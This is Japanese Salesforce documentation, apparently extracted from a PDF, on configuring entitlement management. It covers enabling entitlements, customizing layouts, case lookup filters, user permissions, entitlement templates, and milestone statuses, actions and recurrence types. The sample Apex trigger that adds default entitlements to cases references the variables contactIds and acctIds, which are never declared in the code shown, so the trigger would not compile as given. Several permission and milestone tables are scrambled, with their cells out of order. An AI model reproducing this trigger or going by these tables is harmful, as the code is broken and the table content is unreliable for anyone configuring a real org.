エンタイトルメント管理の設定のチェックリスト
エンタイトルメントプロセスの設定

エンタイトルメントの設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメントは、Salesforce のカスタマーサポートのユニット (「電話サ
ポート」や「Web サポート」など) です。サポートエージェントが、顧客がサ
ポート対象であるかどうかを容易に判断できるように、Salesforce 組織のエンタ
イトルメントを設定します。

1. エンタイトルメントの有効化
Salesforce 組織でエンタイトルメントを有効にして、サポートエージェントが
顧客に適切なサービスレベルを提供できるようにします。

2. エンタイトルメントのカスタマイズ
ビジネスニーズとエージェントの作業方法に基づいて、エンタイトルメント
項目とページレイアウトをカスタマイズします。

3. ケースのエンタイトルメントおよび納入商品ルックアップ検索条件の設定
エンタイトルメント関連のケース項目にルックアップ検索条件を設定して、ユーザがケースで選択できる
エンタイトルメントを制限します。

4. エンタイトルメント管理へのユーザアクセス権の付与
エンタイトルメント管理を設定したら、ユーザが適切なユーザ権限、項目アクセス権、およびタブアクセ
ス権を持っていることを確認します。

5. エンタイトルメントテンプレートの設定
エンタイトルメントテンプレートを使用すると、ユーザが商品に追加できるサポート条件を事前に定義で
きます。

6. Web、メール、コミュニティからケースへのエンタイトルメントの自動追加
エンタイトルメントは、Web-to-ケース、メール-to-ケース、またはコミュニティで作成されたケースには自
動的に適用されません。ただし、Apex コードを使用してエンタイトルメントをこれらの機能に追加できま
す。
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エンタイトルメントの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメントを有
効化する
• 「アプリケーションの

カスタマイズ」

Salesforce 組織でエンタイトルメントを有効にして、サポートエージェントが顧
客に適切なサービスレベルを提供できるようにします。
1. [設定] から、[クイック検索]ボックスに「エンタイトルメントの設定」と入力

し、[エンタイトルメントの設定] を選択します。
2. [エンタイトルメント管理の有効化] を選択します。
3. [保存] をクリックします。エンタイトルメント管理の設定をカスタマイズで

きるページが表示されます。後ほど、エンタイトルメント管理設定プロセス
でこれらの設定を行います。

エンタイトルメントのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ページレイアウトを編集
し、項目履歴管理を設定
する
• 「アプリケーションの

カスタマイズ」

ビジネスニーズとエージェントの作業方法に基づいて、エンタイトルメント項
目とページレイアウトをカスタマイズします。
1. エンタイトルメント項目をカスタマイズします。

ユーザがエンタイトルメントに追加する情報を制御できます。

ヒント: 業界やサポートプロセスに固有のカスタムエンタイトルメント
項目を作成します。以下に例を示します。
• チームが提供または販売するオンラインサポートまたはオンライン

トレーニングなどのエンタイトルメントの種類に合致するように、
[種別] 項目の値をカスタマイズします。

• エンタイトルメントの更新に課金する場合は、エンタイトルメント
に [更新の費用] という通貨項目を作成します。

2. エンタイトルメントのページレイアウトをカスタマイズします。
ユーザに表示されるエンタイトルメントの項目と関連リストを指定できま
す。次のカスタマイズについて考慮します。
• エンタイトルメントが有効、期限切れ、無効のいずれかであるかがユー

ザにわかりやすいように [状況アイコン] 項目を追加します。
• [ケース]、[取引先責任者] および [作業指示] 関連リストを追加して、ユー

ザが次のことを実行できるようにします。
– エンタイトルメントと関連付けられたケース、取引先責任者、作業指示を表示する
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– 適切なエンタイトルメントと関連付けられたケースまたは作業指示を自動的に作成する
– エンタイトルメントに取引先責任者を追加する

3. エンタイトルメントで項目履歴管理を設定します。
項目値が変更された時期を確認できます。変更は、エンタイトルメントの [エンタイトルメント履歴] 関連
リストに表示されます。エンタイトルメントのオブジェクト管理設定から、[項目] セクションに移動し、
[項目履歴管理の設定] をクリックます。

4. その他のオブジェクトのページレイアウトをカスタマイズします。
• ケースおよび作業指示ページレイアウトに [エンタイトルメント名] 参照項目を追加します。これによ

り、ユーザはエンタイトルメントをケースまたは作業指示に追加できます。

重要: ユーザがエンタイトルメントからケースを作成したり、ケースの割り当てエンタイトルメン
トを変更したりできるようにするには、ケースの [エンタイトルメント名]項目をユーザのプロファ
イルで編集可能にします。

• その他のオブジェクトのページレイアウトに [エンタイトルメント] 関連リストを追加します。

ユーザがエンタイトルメントを表示および作成で
きるタイミング...

[エンタイトルメント] 関連リストをページレイア
ウトに追加するオブジェクト...

取引先のいずれかの取引先責任者がサポートの対
象である場合

取引先

特定の取引先責任者がサポートの対象である場合取引先責任者

特定の納入商品 (購入商品) がサポートの対象であ
る場合

納入商品

5. Salesforce および任意のカスタムアプリケーションで [エンタイトルメント] タブを参照可能にします。
[エンタイトルメント] タブでは、ユーザがエンタイトルメントの作成および編集を行えます。このタブを
アプリケーションに追加するか、Salesforce の既存のタブセットにこのタブを追加するようユーザに指示し
ます。ユーザが [エンタイトルメント] タブを表示するには、エンタイトルメントに対する「参照」権限が
必要です。
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ケースのエンタイトルメントおよび納入商品ルックアップ検索条件の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ケースのエンタイトルメ
ント関連ルックアップ検
索条件を設定する
• 「エンタイトルメント

の管理」

エンタイトルメント関連のケース項目にルックアップ検索条件を設定して、ユー
ザがケースで選択できるエンタイトルメントを制限します。
たとえば、コミュニティユーザがケースを作成して [エンタイトルメント名] 項
目にルックアップを使用する場合、取引先または取引先責任者に登録されたエ
ンタイトルメントのみを選択できるようにルックアップ検索条件を設定できま
す。
1. [設定] から、[クイック検索]ボックスに「エンタイトルメントの設定」と入力

し、[エンタイトルメントの設定] を選択します。
2. 参照項目に返す項目を選択します。

戻り値...クリック対象...ケースの参照項目

ケースの取引先に登録さ
れている納入商品。

ケースに同じ取引先があ
る

納入商品

ヒント: 取引先を
ケースと共有する
すべての納入商品
が参照項目から返
されるようにする
には、このオプ
ションのみを選択
します。

ケースの取引先責任者に
登録されている納入商
品。

ケースに同じ取引先責任
者がいる

ケースの取引先に属する
エンタイトルメントの関
連納入商品。

ケースの取引先にエンタ
イトルメントがある

ケースの取引先責任者に
関連するエンタイトルメ
ントの関連納入商品。

ケースの取引先責任者に
エンタイトルメントがあ
る

有効な [状況]のエンタ
イトルメント。

有効な状況エンタイトルメント

ケースの取引先と関連付
けられているエンタイト
ルメント。

ケースに同じ取引先があ
る
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戻り値...クリック対象...ケースの参照項目

ケースの納入商品と関連付けられ
ているエンタイトルメント。

ケースに同じ納入商品がある

ケースの取引先責任者と関連付け
られているエンタイトルメント。

ケースに同じ取引先責任者がいる

複数の項目を選択すると AND 関数のように機能するため、項目を選択するほど、返されるオプションが制
限されます。たとえば、[ケースに同じ取引先がある]と [ケースに同じ取引先責任者がいる]を選択すると、
[納入商品] 参照項目では、ケースの取引先と取引先責任者の両方に登録された納入商品のみが返されま
す。

ヒント: サポートエージェントのサポート対象の確認方法に合致する項目を選択します。たとえば、
サポートエージェントが取引先に基づいてサポート対象を確認する場合、取引先関連の項目を選択し
ます。

3. [保存] をクリックします。

メモ: 同等のルックアップ検索条件は、作業指示では使用できません。

エンタイトルメント管理へのユーザアクセス権の付与

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ユーザを作成および編集
する
• 「内部ユーザの管理」

エンタイトルメント管理を設定したら、ユーザが適切なユーザ権限、項目アク
セス権、およびタブアクセス権を持っていることを確認します。
1. エンタイトルメント管理権限をユーザに割り当てます。

権限が自動的に有効化さ
れる標準プロファイル

必要な権限ユーザによる操作

システム管理者「エンタイトルメントの
管理」
および
「アプリケーションのカ
スタマイズ」

マイルストン、エンタイ
トルメントプロセス、エ
ンタイトルメントテンプ
レートを含むエンタイト
ルメント管理の設定

システム管理者「アプリケーションのカ
スタマイズ」
および
「コミュニティの作成お
よび設定」

コミュニティへのエンタ
イトルメント管理の提供

システム管理者「カスタムレポートタイ
プの管理」

エンタイトルメント管理
を含むカスタムレポート
タイプの作成または更新
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権限が自動的に有効化される標準
プロファイル

必要な権限ユーザによる操作

参照のみ、標準ユーザ、ソリュー
ション管理者、契約管理者、マー

「レポートの作成とカスタマイ
ズ」

エンタイトルメント管理のカスタ
ムレポートタイプに基づいたレ
ポートの作成および実行 ケティングユーザ、およびシステ

ム管理者

標準ユーザ、ソリューション管理
者、契約管理者、マーケティング
ユーザ、およびシステム管理者

ケースに対する「作成」
および
エンタイトルメントに対する「参
照」

エンタイトルメントを含むケース
の作成

標準ユーザ、ソリューション管理
者、契約管理者、マーケティング
ユーザ、およびシステム管理者

ケースに対する「編集」
および
エンタイトルメントに対する「参
照」

ケースのエンタイトルメントの変
更

標準ユーザ、ソリューション管理
者、契約管理者、マーケティング
ユーザ、およびシステム管理者

作業指示に対する「作成」
および
エンタイトルメントに対する「参
照」

エンタイトルメントがある作業指
示の作成

標準ユーザ、ソリューション管理
者、契約管理者、マーケティング
ユーザ、およびシステム管理者

作業指示に対する「編集」
および
エンタイトルメントに対する「参
照」

作業指示のエンタイトルメントの
変更

参照のみ、標準ユーザ、ソリュー
ション管理者、契約管理者、マー

エンタイトルメントに対する「参
照」

エンタイトルメントの確認または
表示

ケティングユーザ、およびシステ
ム管理者

なし: 権限セットまたはカスタムプ
ロファイルで権限を有効化

エンタイトルメントに対する「作
成」

エンタイトルメントの作成

なし: 権限セットまたはカスタムプ
ロファイルで権限を有効化

エンタイトルメントに対する「編
集」

エンタイトルメントの変更

参照のみ、標準ユーザ、ソリュー
ション管理者、契約管理者、マー

エンタイトルメント取引先責任者
に対する「参照」

エンタイトルメント取引先責任者
の表示

ケティングユーザ、およびシステ
ム管理者
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権限が自動的に有効化される標準
プロファイル

必要な権限ユーザによる操作

なし: 権限セットまたはカスタムプ
ロファイルで権限を有効化

エンタイトルメント取引先責任者
に対する「作成」
および

エンタイトルメント取引先責任者
の変更

エンタイトルメント取引先責任者
に対する「削除」

参照のみ、標準ユーザ、ソリュー
ション管理者、契約管理者、マー

サービス契約に対する「参照」サービス契約の確認または表示

ケティングユーザ、およびシステ
ム管理者

なし: 権限セットまたはカスタムプ
ロファイルで権限を有効化

サービス契約に対する「作成」サービス契約の作成

なし: 権限セットまたはカスタムプ
ロファイルで権限を有効化

サービス契約に対する「編集」サービス契約の変更

参照のみ、標準ユーザ、ソリュー
ション管理者、契約管理者、マー

契約品目名に対する「参照」契約品目名の確認または表示

ケティングユーザ、およびシステ
ム管理者

なし: 権限セットまたはカスタムプ
ロファイルで権限を有効化

サービス契約に対する「編集」
および

サービス契約への契約品目名の追
加

契約品目名に対する「作成」およ
び商品と価格表に対する「参照」

なし: 権限セットまたはカスタムプ
ロファイルで権限を有効化

サービス契約に対する「編集」
および

サービス契約の契約品目名の変更

契約品目名に対する「編集」およ
び商品と価格表に対する「参照」

ヒント: 標準プロファイルに特定のユーザ権限がない場合は、権限セットを作成してそこで権限を有
効化できます。または、標準プロファイルをコピーしてカスタムプロファイルで権限を有効化しま
す。

2. 項目レベルセキュリティを設定します。
ユーザが表示および編集できるエンタイトルメント管理項目を選択します。項目レベルセキュリティの設
定により、ユーザインターフェースの次の領域でユーザの項目へのアクセス権を指定できます。
• 詳細ページと編集ページ
• 関連リスト
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• リストビュー
• レポート
• 検索結果
• メールと差し込み印刷テンプレート
• コミュニティ
項目レベルセキュリティは、権限セット、プロファイル、または特定の項目から設定できます。

重要: ユーザがエンタイトルメントからケースを作成したり、ケースの割り当てエンタイトルメント
を変更したりできるようにするには、ケースの [エンタイトルメント名]項目をユーザのプロファイル
で編集可能にします。

エンタイトルメントテンプレートの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメントテン
プレートを作成する
• 「エンタイトルメント

の管理」

エンタイトルメントテンプレートを使用すると、ユーザが商品に追加できるサ
ポート条件を事前に定義できます。
顧客が商品を購入したときにサポートエージェントが適切なエンタイトルメン
トをすばやく追加できるように、特定の商品のエンタイトルメントテンプレー
トを作成できます。たとえば、エージェントが顧客に提供される商品にエンタ
イトルメントを容易に追加できるよう Web サポートまたは電話サポートのエン
タイトルメントテンプレートを作成できます。
Salesforce では、購入済み商品またはインストール済み商品は納入商品として表
されます。つまり、次のようになります。
• 商品 (例: 「レーザースキャナ」) はエンタイトルメントテンプレートにリンク

される
• 対応する納入商品 (例: ABC Labs によって購入されたレーザースキャナ) は、エ

ンタイトルメントテンプレートから作成されたエンタイトルメントにリンク
される

メモ: エンタイトルメントテンプレートは、エンタイトルメントおよび商
品が組織で有効になっている場合にのみ使用できます。

ヒント: エンタイトルメント管理の Trailhead モジュールでは、一般的な用語
を紹介し、エンタイトルメントテンプレート作成プロセスについて説明し
ます。楽しみながら学びましょう。使用を開始するには、「エンタイトル
メント管理」を参照してください。

1. [エンタイトルメントテンプレート] 関連リストを商品ページレイアウトに追加します。
2. 必要に応じて、[種別] および [営業時間] 項目を [エンタイトルメントテンプレート] 関連リストに追加し

ます。Web サポートや電話サポートなどのエンタイトルメントの種類、およびエンタイトルメントに適用
される営業時間が表示されます。

3. エンタイトルメントテンプレートを作成します。
a. [設定] から、[クイック検索] ボックスに「テンプレート」と入力し、[エンタイトルメントテンプレート]

を選択します。
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b. [新規テンプレート] をクリックします。
c. 次の詳細情報を入力します。

説明項目

エンタイトルテンプレートの名前。
「電話サポート」のように、内容がわかるような名
前を使用します。これにより、商品の関連リスト

エンタイトルメントテンプレート名

に表示された場合に、エンタイトルテンプレート
についてわかりやすくなります。

エンタイトルメントが有効な日数。
たとえば、エンタイトルメントテンプレートで、
この商品を購入したすべての顧客が 90 日間の電話

期間(日)

サポートを受けることができるようにする場合、
「90」と入力します。

エンタイトルメントプロセスのエンタイトルメン
トへの追加

エンタイトルメントプロセス

エンタイトルメントがサポートするケース数を制
限します。この項目が表示されるかどうかはシス
テム管理者が決定します。

障害あたり

このエンタイトルメントがサポートするケース数
の合計。
この項目は、[障害あたり]項目が選択されている
場合にのみ表示されます。

エンタイトルメントあたりのケース

エンタイトルメントのサポートされている営業時
間。

営業時間

Web サポート、電話サポートなど、エンタイトル
メントの種別。
管理者は項目の値をカスタマイズできます。

種類

4. [保存] をクリックします。
5. エンタイトルメントテンプレートを商品に追加します。

a. 商品の詳細ページに移動します。
b. [エンタイトルメントテンプレート] 関連リストで [エンタイトルメントテンプレートの追加] をクリック

します。
c. エンタイトルメントテンプレートを選択します。
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d. [選択したものを挿入] をクリックします。
e. [完了] をクリックします。
これで、ユーザが納入商品を作成してその商品にリンクすると、エンタイトルメントテンプレートから作
成されたエンタイトルメントが納入商品の [エンタイトルメント] 関連リストに含まれるようになります。
これにより、納入商品に関する問い合わせに対応するサポートエージェントは、その顧客がどのようなサ
ポートを受けることができるのかをすばやく確認できます。

メモ: すべてのユーザは、「設定・定義を参照する」ユーザ権限がなくても、API によってエンタイトル
メントテンプレートを表示できます。

Web、メール、コミュニティからケースへのエンタイトルメントの自動追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

Apex トリガを定義する
• 「Apex 開発」

エンタイトルメントは、Web-to-ケース、メール-to-ケース、またはコミュニティ
で作成されたケースには自動的に適用されません。ただし、Apex コードを使用
してエンタイトルメントをこれらの機能に追加できます。
Web-to-ケース、メール-to-ケース、またはコミュニティを介して作成されたケー
スは、自動的にエンタイトルメントに関連付けられません。ケースの [エンタイ
トルメント]項目が空の場合、次のサンプルトリガはケースの取引先責任者に有
効なエンタイトルメントがあるかどうかを確認します。取引先責任者に有効な
エンタイトルメントがある場合、そのエンタイトルメントがケースに追加され
ます。取引先責任者に有効なエンタイトルメントがない場合、トリガはケース
の取引先に有効なエンタイトルメントがあるかどうかを確認します。取引先に
有効なエンタイトルメントがある場合、そのエンタイトルメントがケースに追
加されます。このトリガは、カスタマーサポート契約に従ってケースを解決す
るのに役立ちます。
このケーストリガを Salesforce 組織で定義する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ケースのトリガ」と入力し、[ケース

のトリガ] を選択します。
2. [新規] をクリックします。
3. 下のテキストをコピーし、テキスト項目に貼り付けます。
4. [保存] をクリックします。
trigger DefaultEntitlement on Case (Before Insert, Before Update) {

List <EntitlementContact> entlContacts =
[Select e.EntitlementId,e.ContactId,e.Entitlement.AssetId
From EntitlementContact e
Where e.ContactId in :contactIds
And e.Entitlement.EndDate >= Today
And e.Entitlement.StartDate <= Today];

if(entlContacts.isEmpty()==false){
for(Case c : Trigger.new){

if(c.EntitlementId == null && c.ContactId != null){
for(EntitlementContact ec:entlContacts){

if(ec.ContactId==c.ContactId){
c.EntitlementId = ec.EntitlementId;
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if(c.AssetId==null && ec.Entitlement.AssetId!=null)
c.AssetId=ec.Entitlement.AssetId;

break;
}

}
}

}
} else{

List <Entitlement> entls = [Select e.StartDate, e.Id, e.EndDate,
e.AccountId, e.AssetId
From Entitlement e
Where e.AccountId in :acctIds And e.EndDate >= Today
And e.StartDate <= Today];

if(entls.isEmpty()==false){
for(Case c : Trigger.new){

if(c.EntitlementId == null && c.AccountId != null){
for(Entitlement e:entls){

if(e.AccountId==c.AccountId){
c.EntitlementId = e.Id;
if(c.AssetId==null && e.AssetId!=null)

c.AssetId=e.AssetId;
break;

}
}

}
}

}
}

}
}

関連トピック:

エンタイトルメントプロセスの設定

マイルストン
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

マイルストンは、サポートプロセスの必要な時間ベースのステップ (最初の対応
やケース解決時間など) を表します。エージェントが時間どおりに適切にサポー
トレコードを解決するために、マイルストンがエンタイトルメントプロセスに
追加されます。
エンタイトルメントプロセスには、最大 10 個のマイルストンを設定できます。
マイルストンは、エンタイトルメントプロセス内で 1 回発生、またはエンタイ
トルメントプロセスが存在する限り繰り返し発生するように設定できます。
次に、どのようにマイルストンがサポートプロセスに適合するのかを示します。
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[設定] の [エンタイトルメント管理] にある [マイルストン] ページで、組織の既存のマイルストンを表示します。
エンタイトルメントおよびエンタイトルメントプロセスの [マイルストン] 関連リストには、関連するマイルス
トンも表示されます。

ヒント: 組織でマイルストンを使用したレコードのリストを表示する方法は、次のとおりです。
• マイルストンを使用して作業指示を表示するには、[オブジェクトマイルストン] カスタムレポートタ

イプを使用して作業指示レポートを作成します。
• マイルストンを使用してケースを表示するには、[マイルストンが関連するケース] カスタムレポート

タイプを使用してケースレポートを作成します。
• マイルストン項目に基づいて絞り込むリストビューを作成します。

サポートプロセスでマイルストンを使用する前に、「エンタイトルメント管理の制限事項」 (ページ 3210)を確
認してください。

ヒント: エンタイトルメント管理の Trailhead モジュールでは、一般的な用語を紹介し、マイルストン作成
プロセスについて説明します。楽しみながら学びましょう。使用を開始するには、「エンタイトルメン
ト管理」を参照してください。

関連トピック:

マイルストンの設定
マイルストンの状況
マイルストンの繰り返しタイプ
マイルストンアクション
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マイルストンの状況
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サポートレコードのマイルストンには、3 つの状況のいずれかが表示されます。

例意味状況

ケースの最初の対応は完
了、または違反していま
せん。

レコードのマイルストン
は完了、または違反して
いません。

適合

重要: 新しいレコー
ドは違反していな
いため、適合と表
示されます。

マイルストンの完了期限
が切れる前に、割り当て

レコードの 1 つ以上のマ
イルストンに違反があっ

未処理の違反

られたエージェントがたため、サポートプロセ
ケースの最初の対応を完
了できませんでした。

スのステップが完了して
いません。

マイルストンの完了期限
が切れた後に、割り当て

レコードの 1 つ以上のマ
イルストンに違反があり

クローズ違反

られたエージェントがましたが、サポートプロ
ケースの最初の対応を完
了しました。

セスのステップは完了し
ました。

関連トピック:

エンタイトルメントプロセス
マイルストンのエンタイトルメントプロセスへの追加
マイルストンアクション

マイルストンアクション
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

マイルストンアクションは、エンタイトルメントプロセスのマイルストンで発
生する、時間ベースのワークフローアクションです。マイルストンをエンタイ
トルメントプロセスに追加した後で、アクションをマイルストンに追加できま
す。
たとえば、次の操作を行うマイルストンアクションを作成できます。
• 最初の対応マイルストンが違反に近くなる 1 時間前に特定のユーザにメール

アラートを送信する
• 最初の対応マイルストンが正常に完了した 1 分後にケースの特定の項目を更

新する
次の 3 つのアクションをマイルストンに追加できます。
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説明アクションの種類

マイルストンが正常に完了した場合に実行するアクション。完了が遅れ
たマイルストンに対しても成功時のアクションは起動します。

成功時のアクション

マイルストンが違反に近い場合に実行するアクション。警告時のアクション

マイルストンが違反した場合に実行するアクション。違反時のアクション

各アクションの種類の次のアクションを自動化できます。

例実行する内容ワークフローアクション

最初の対応マイルストンが違反の
場合にサポートエージェントが顧

ワークフロー ToDo の作成新規 ToDo

客に電話で通知する ToDo を作成し
ます。

ケースに対する最初の対応マイル
ストンが違反に近い場合、ケース
所有者に通知します。

メールアラートの作成新規メール

最初の対応マイルストンが違反に
近い場合、ケースの [優先度] 項目を
[高] に更新します。

項目自動更新の定義新規項目自動更新

最初の対応マイルストンが完了し
たら、パーツまたはサービスに関

アウトバウンドメッセージの定義新規アウトバウンドメッセージ

するデータを外部システムに送信
します。

既存のメールアラートを使用して、
このケースの最初の対応が違反に

既存のアクションの選択既存のアクションの選択

近い場合にケース所有者に通知し
ます。

関連トピック:

マイルストンアクションのエンタイトルメントプロセスへの追加
エンタイトルメントプロセス
エンタイトルメントプロセスでのレコードの移動
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マイルストンの繰り返しタイプ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

マイルストンを作成するときには、繰り返し種別を選択する必要があります。
各繰り返し種別の意味と使用する状況について説明します。
Salesforce のマイルストンの繰り返し種別には次の 3 つがあります。

例開始日の決定方法意味繰り返しタイプ

「最初の対応」
「解決時間」

開始日は、レコー
ドでマイルストン
条件が一致した時
点です。

マイルストンは、
サポートレコード
で 1 回のみ発生し
ます*。

繰り返しなし

「応答時間」以前の発生がいつ
完了したかにかか
わらず、レコード

マイルストンは、
マイルストン条件
がレコード条件に

独立

でマイルストン条一致するたびに発
生します。 件が一致した時点

が開始日になりま
す。メモ: 独立し

て繰り返さ
れるマイル
ストンは、
一度に 1 つ
のみ有効に
できます。

「顧客連絡済み」最初の発生では、
ケースでマイルス

マイルストンは、
マイルストン条件

順次

トン条件が一致しがレコード条件に
た時点が開始日に
なります。
以降の発生では、
次のようになりま
す。

一致するたびに繰
り返し発生しま
す。

メモ: 順次繰
り返される
マイルスト • 開始日は、前

の発生の目標ンは、一度
に 1 つのみ 日より後であ
有効にでき
ます。

れば、レコー
ドでマイルス
トン条件が一
致した時点で
す。

• 発生が目標日
より前に完了
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例開始日の決定方法意味繰り返しタイプ

し、レコードで再度マ
イルストン条件が一致
した場合、前の発生の
目標日時点で次の発生
が開始します。

• 発生がその目標日より
後に完了した場合、次
の発生の開始日は、レ
コードでマイルストン
条件が一致した時点に
なります。

*これらの定義では、サポートレコードにケースと作業指示が含まれます。

例:

繰り返しなし
ケースが 4 時間以内に解決されていることを確認するために、「解決時間」というマイルストンが設
定されているとします。このマイルストンには次の 1 つの条件があります: [ケース: 状況]、[次の文
字列と一致する]、「新規, 処理中, エスカレーション済」
このマイルストンは、たとえば次のように使用されます。
1. 午前 10 時にケースが作成されます。[状況] が [新規] であるため、マイルストン条件がケース条件

に一致します。
2. 「解決時間」マイルストンが自動的に作成され、次のように設定されます。

• 開始日 = 午前 10 時 (現在の時刻)

• 目標日 = 午後 2 時 (開始日の 4 時間後)

3. 午後 1 時にサポートエージェントが顧客の問題を解決してケースをクローズし、マイルストーンが
完了とマークされます。

独立
エンジニアリングチームへのケースのエスカレーションを追跡するために、「エンジニアソリュー
ション提案済み」というマイルストンが設定されているとします。このマイルストンが発生すると、
サポートエージェントは 4 時間以内にエンジニアリングチームからソリューションが提案されること
を期待します。このマイルストンには次の 1 つの条件があります: [ケース: 状況]、[次の文字列と一
致する]、「Waiting on Engineer (エンジニア待ち)」(カスタムステータス)

このマイルストンは、たとえば次のように使用されます。
1. 午前 10 時にサポートエージェントがエンジニアリングチームにケースをエスカレーションし、マ

イルストン条件がケース条件に一致します。
2. 「エンジニアソリューション提案済み」マイルストンの発生が次のような設定で自動的に作成され

ます。
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開始日 = 午前 10 時 (現在の時刻)•

• 目標日 = 午後 2 時 (開始日の 4 時間後)

3. 目標日よりかなり前の午前 11 時に、エンジニアが顧客に送信されるソリューションを提案します。
マイルストンは手動またはワークフローで完了とマークされます。

提案されたソリューションが成功すれば、このケースで「エンジニアソリューション提案済み」はも
う発生しない可能性があります。ただし、ソリューションで顧客の問題が解決されなかった場合、別
の発生が作成されます。
1. 午後 1 時にサポートエージェントがエンジニアリングチームにケースを再度エスカレーションし、

マイルストン条件がケース条件に一致します。
2. 「エンジニアソリューション提案済み」マイルストンの 2 つ目の発生が次のような設定で作成され

ます。
• 開始日 = 午後 1 時 (現在の時刻)

• 目標日 = 午後 5 時 (開始日の 4 時間後)

この時点で、ケースには「エンジニアソリューション提案済み」マイルストンが 2 つ存在します。
• 午前 10 時に開始された完了しているマイルストン
• 午後 1 時に開始されて目標日が午後 5 時の未完了のマイルストン
マイルストンは、エンタイトルメントプロセスが完了するまで必要に応じて何度でも繰り返すことが
できます。

順次
SLA の一部として顧客との毎日の連絡を追跡するために、「顧客連絡済み」というマイルストンが設
定されているとします。このマイルストンが発生すると、サポートエージェントは 24 時間のうちに顧
客に連絡します。
このマイルストンは、たとえば次のように使用されます。
1. 月曜日の午前 10 時に、エンタイトルメントプロセスに「顧客連絡済み」マイルストンを含むケー

スが作成され、次のように設定されます。
• 開始日 = 月曜日の午前 10 時 (現在の時刻)

• 目標日 = 火曜日の午前 10 時 (開始日の 24 時間後)

2. 月曜日の午前 11 時に、サポートエージェントが顧客に連絡しました。つまり、マイルストンは完
了とマークされ、マイルストンの 2 つ目の発生が作成されることになります。ただし、前の発生の
目標日に達していないため、2 つ目の発生の開始日は火曜日の午前 10 時になります。

この時点で、ケースには「顧客連絡済み」マイルストンが 2 つ存在します。
• 月曜日の午前 10 時に開始された完了しているマイルストン
• 火曜日の午前 10 時に開始がスケジュールされ、目標日が水曜日午前 10 時の未完了のマイルストン

3228

マイルストンの繰り返しタイプカスタマーサポートツールの設定および管理



サポートエージェントが月曜日に複数回顧客に連絡した場合、火曜日のマイルストンには何も影響あ
りません。

関連トピック:

エンタイトルメントプロセス
マイルストンのエンタイトルメントプロセスへの追加

マイルストン: サポートされるオブジェクト
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

マイルストンは顧客の問題を解決するためにチームが完了する必要のあるサポー
トステップを表します。Salesforce でマイルストンを使用できる場所について理
解します。
マイルストンを追加できるレコードタイプ

• ケース
• 作業指示

レコードにマイルストンを追加する方法
実行する一般的な手順は、次のとおりです。
1. サポートプロセスで必要なステップを表す「マスタ」マイルストンを [設

定] で作成します。
2. エンタイトルメントプロセスにマイルストンを追加します。このプロセ

スはマイルストンのカスタマイズ可能なタイムラインです。
3. 顧客エンタイトルメントにエンタイトルメントプロセスを適用します。
作業指示などのサポートレコードをエンタイトルメントプロセスを含むエンタイトルメントにリンクする
場合、そのマイルストンを含むプロセスは自動的にレコードに適用されます。詳細は、「マイルストンの
設定」を参照してください。

作業指示とケースの両方に同じエンタイトルメントを使用できますか?

エンタイトルメントにそれに関連付けられたエンタイトルメントプロセスがある場合、複数の種別のサポー
トレコードに同じエンタイトルメントを使用しないでください。すべてのエンタイトルメントプロセスに
は種別 ([ケース] または [作業指示]) があり、プロセスはその種別に一致するレコードでのみ機能します。た
とえば、[ケース] エンタイトルメントプロセスがエンタイトルメントに適用される場合、そのプロセスは
そのエンタイトルメントに関連付けられたケースでのみ実行されます。作業指示も同じエンタイトルメン
トに関連付けられている場合、プロセスは作業指示では実行されません。

マイルストンを 1 つ作成して、エンタイトルメントプロセスの両種別に追加できますか?

はい。たとえば、[設定] で [最初の対応] マイルストンを作成する場合、[ケース] と [作業指示] エンタイトル
メントプロセスの両方に追加できます。

エンタイトルメントプロセスの種別の設定方法
エンタイトルメントプロセスを作成するときに、種別を選択します。Summer '16 より前に作成されたエンタ
イトルメントプロセスは、[ケース] 種別を使用しています。詳細ページでエンタイトルメントプロセスの
種別を参照できます。
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エンタイトルメントプロセスの種別は変更できますか?

いいえ。エンタイトルメントプロセスを作成したら、そのすべてのバージョンで同じ種別を使用する必要
があります。特に優れたエンタイトルメントプロセスを活用する場合は、同じマイルストンを使用して、
他の種別の同様のプロセスを簡単に作成することができます。

Lightning Experience でマイルストンがサポートされますか?

ケースマイルストンは、Lightning Experience ではサポートされません。作業指示マイルストンは Lightning

Experience で使用できますが、次の制限事項があります。
• [オブジェクトマイルストン] 関連リストとマイルストントラッカーは Lightning Experience の作業指示では

使用できません。
• エンタイトルメントプロセスとマイルストンの更新は Salesforce Classic で行う必要があります。
